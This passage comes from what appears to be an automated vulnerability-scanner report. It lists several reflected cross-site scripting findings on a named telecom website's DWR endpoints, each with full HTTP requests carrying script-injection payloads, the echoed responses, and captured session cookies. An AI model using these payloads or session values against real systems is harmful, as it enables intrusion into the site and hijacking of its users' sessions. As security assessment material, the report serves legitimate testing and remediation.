Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479219522%3B%20s_lv%3D1290477419527%7C1385085419527%3B%20s_lv_s%3DFirst%2520Visit%7C1290479219527%3B%20s_pv%3DLogin%7C1290479219547%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ASolution%25252520builder%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252Fpopups%2525252Fpersonal%2525252FstoreLocator%2525252Fslmap.jsp%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Content-Length: 463

callCount=1
page=/shopping/popups/personal/storeLocator/slmap.jsp
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=62F20EF05800F727F0CE5C2C809802B6983
c0-
...[SNIP]...
imit
c0-id=0
c0-param0=number:45.51228578501811
c0-param1=number:-73.55438679456711
c0-param2=string:30
c0-param3=string:10
c0-param4=number:24
c0-param5=number:250
c0-param6=string:en_CA_ON
batchId=0fb9a7'-alert(1)-'ea63f6bff69

Response

HTTP/1.1 200 OK
Content-Length: 5667
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 02:00:43 GMT

//#DWR-INSERT
//#DWR-REPLY
var s0={};var s1={};var s2={};var s3={};var s4={};var s5={};var s6={};var s7={};var s8={};var s9={};var s10={};var s11={};var s12={};var s13={};var s14={};var s15={};var s16
...[SNIP]...
Lasalle, QC|H8N 1X3";s23.dist=9.407258086074934;s23.id=2327;s23.lat=45.441113;s23.lon=-73.619624;s23.mall=null;s23.name="Bell";s23.phone="514 368-8000";s23.type=30;
dwr.engine._remoteHandleCallback('0fb9a7'-alert(1)-'ea63f6bff69','0',[s0,s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12,s13,s14,s15,s16,s17,s18,s19,s20,s21,s22,s23]);

2.27. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [c0-id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr

Issue detail

The value of the c0-id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5c17'-alert(1)-'5c576ebe924 was submitted in the c0-id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479219522%3B%20s_lv%3D1290477419527%7C1385085419527%3B%20s_lv_s%3DFirst%2520Visit%7C1290479219527%3B%20s_pv%3DLogin%7C1290479219547%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ASolution%25252520builder%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252Fpopups%2525252Fpersonal%2525252FstoreLocator%2525252Fslmap.jsp%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Content-Length: 463

callCount=1
page=/shopping/popups/personal/storeLocator/slmap.jsp
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=62F20EF05800F727F0CE5C2C809802B6983
c0-scriptName=StoreLocatorDwr
c0-methodName=searchFromCenterWithLimit
c0-id=0a5c17'-alert(1)-'5c576ebe924
c0-param0=number:45.51228578501811
c0-param1=number:-73.55438679456711
c0-param2=string:30
c0-param3=string:10
c0-param4=number:24
c0-param5=number:250
c0-param6=string:en_CA_ON
batchId=0

Response

HTTP/1.1 200 OK
Content-Length: 5667
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 02:00:37 GMT

//#DWR-INSERT
//#DWR-REPLY
var s0={};var s1={};var s2={};var s3={};var s4={};var s5={};var s6={};var s7={};var s8={};var s9={};var s10={};var s11={};var s12={};var s13={};var s14={};var s15={};var s16
...[SNIP]...
lle, QC|H8N 1X3";s23.dist=9.407258086074934;s23.id=2327;s23.lat=45.441113;s23.lon=-73.619624;s23.mall=null;s23.name="Bell";s23.phone="514 368-8000";s23.type=30;
dwr.engine._remoteHandleCallback('0','0a5c17'-alert(1)-'5c576ebe924',[s0,s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12,s13,s14,s15,s16,s17,s18,s19,s20,s21,s22,s23]);

2.28. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [c0-scriptName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr

Issue detail

The value of the c0-scriptName request parameter is copied into the HTML document as plain text between tags. The payload e53ce<script>alert(1)</script>7326d3adaf was submitted in the c0-scriptName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479219522%3B%20s_lv%3D1290477419527%7C1385085419527%3B%20s_lv_s%3DFirst%2520Visit%7C1290479219527%3B%20s_pv%3DLogin%7C1290479219547%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ASolution%25252520builder%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252Fpopups%2525252Fpersonal%2525252FstoreLocator%2525252Fslmap.jsp%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Content-Length: 463

callCount=1
page=/shopping/popups/personal/storeLocator/slmap.jsp
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=62F20EF05800F727F0CE5C2C809802B6983
c0-scriptName=StoreLocatorDwre53ce<script>alert(1)</script>7326d3adaf
c0-methodName=searchFromCenterWithLimit
c0-id=0
c0-param0=number:45.51228578501811
c0-param1=number:-73.55438679456711
c0-param2=string:30
c0-param3=string:10
c0-param4=number:24
c0-param5=number:250
...[SNIP]...

Response

HTTP/1.1 200 OK
Content-Length: 414
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 02:00:31 GMT

//#DWR-REPLY
if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: StoreLocatorDwre53ce<script>alert(1)</script>7326d3adaf' }, '0');
else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: StoreLocatorDwre53ce<script>
...[SNIP]...

2.29. http://www.bell.ca/shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr [callCount parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr

Issue detail

The value of the callCount request parameter is copied into the HTML document as plain text between tags. The payload b811b<script>alert(1)</script>0111e3df274db08fe was submitted in the callCount parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /shopping/dwr/call/plaincall/StoreLocatorDwr.searchFromCenterWithLimit.dwr?callCount=1b811b<script>alert(1)</script>0111e3df274db08fe&page=/shopping/popups/personal/storeLocator/slmap.jsp&httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499&scriptSessionId=62F20EF05800F727F0CE5C2C809802B6983&c0-scriptName=StoreLocatorDwr&c0-methodName=searchFromCenterWithLimit&c0-id=0&c0-param0=number:45.51228578501811&c0-param1=number:-73.55438679456711&c0-param2=string:30&c0-param3=string:10&c0-param4=number:24&c0-param5=number:250&c0-param6=string:en_CA_ON&batchId=0 HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp
Origin: http://www.bell.ca
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479219522%3B%20s_lv%3D1290477419527%7C1385085419527%3B%20s_lv_s%3DFirst%2520Visit%7C1290479219527%3B%20s_pv%3DLogin%7C1290479219547%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ASolution%25252520builder%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252Fpopups%2525252Fpersonal%2525252FstoreLocator%2525252Fslmap.jsp%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 472
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 02:00:28 GMT

//#DWR-REPLY
if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 1b811b<script>alert(1)</script>0111e3df274db08fe' });
else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 1b811b<
...[SNIP]...

2.30. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [batchId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr

Issue detail

The value of the batchId request parameter is copied into the HTML document as plain text between tags. The payload a8390<script>alert(1)</script>6698c374af7 was submitted in the batchId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B
Content-Length: 1272

callCount=1
page=/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=200B4D22333A8BD
...[SNIP]...
2%3A%22WirelessSolutionSteps%22%2C%22componentClassName%22%3A%22WirelessSolutionStepsBuilderComponent%22%2C%22actionName%22%3A%22mainLoadAction%22%7D
c0-param2=string:WLS-DLT-24QX2BGRY-B3105
batchId=1a8390<script>alert(1)</script>6698c374af7

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:54:56 GMT
Content-Length: 14386

//#DWR-INSERT
//#DWR-REPLY
dwr.engine._remoteHandleCallback('1a8390<script>alert(1)</script>6698c374af7','0',{"componentResponses":[{"data":null,"htmlContent":"","newComponents":[],"selector":"#WirelessSolutionSteps"},{"data":{"currentState":{"actionName":"checkCurrentState","additionalAccessoriesSku":[
...[SNIP]...

2.31. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [c0-id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr

Issue detail

The value of the c0-id request parameter is copied into the HTML document as plain text between tags. The payload 1f968<script>alert(1)</script>72924f69b1d was submitted in the c0-id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B
Content-Length: 1272

callCount=1
page=/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=200B4D22333A8BD02FA4D13DBC060B73370
c0-scriptName=WirelessSolutionHandler
c0-methodName=performAction
c0-id=01f968<script>alert(1)</script>72924f69b1d
c0-param0=string:mainLoadAction
c0-param1=string:%7B%22cellPhoneSku%22%3A%22%22%2C%22cellPhoneSubSku%22%3A%22%22%2C%22cellPhoneVariantSku%22%3A%22%22%2C%22productColourId%22%3A%22%22%2C%22contractTer
...[SNIP]...

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:54:50 GMT
Content-Length: 14386

//#DWR-INSERT
//#DWR-REPLY
dwr.engine._remoteHandleCallback('1','01f968<script>alert(1)</script>72924f69b1d',{"componentResponses":[{"data":null,"htmlContent":"","newComponents":[],"selector":"#WirelessSolutionSteps"},{"data":{"currentState":{"actionName":"checkCurrentState","additionalAccessoriesSku":[],"a
...[SNIP]...

2.32. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [c0-param0 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr

Issue detail

The value of the c0-param0 request parameter is copied into the HTML document as plain text between tags. The payload 7bf91<script>alert(1)</script>86af7a0ed6d was submitted in the c0-param0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B
Content-Length: 1272

callCount=1
page=/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=200B4D22333A8BD02FA4D13DBC060B73370
c0-scriptName=WirelessSolutionHandler
c0-methodName=performAction
c0-id=0
c0-param0=string:mainLoadAction7bf91<script>alert(1)</script>86af7a0ed6d
c0-param1=string:%7B%22cellPhoneSku%22%3A%22%22%2C%22cellPhoneSubSku%22%3A%22%22%2C%22cellPhoneVariantSku%22%3A%22%22%2C%22productColourId%22%3A%22%22%2C%22contractTermSku%22%3A%22%22%2C%22smallImage
...[SNIP]...

Response

HTTP/1.1 200 OK
Content-Length: 257
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:54:53 GMT

//#DWR-INSERT
//#DWR-REPLY
dwr.engine._remoteHandleException('1','0',{errorCode:99,exceptionType:0,javaClassName:"ca.bell.portal.ajax.AjaxException",message:"Action mainLoadAction7bf91<script>alert(1)</script>86af7a0ed6d not found",validationErrors:null});

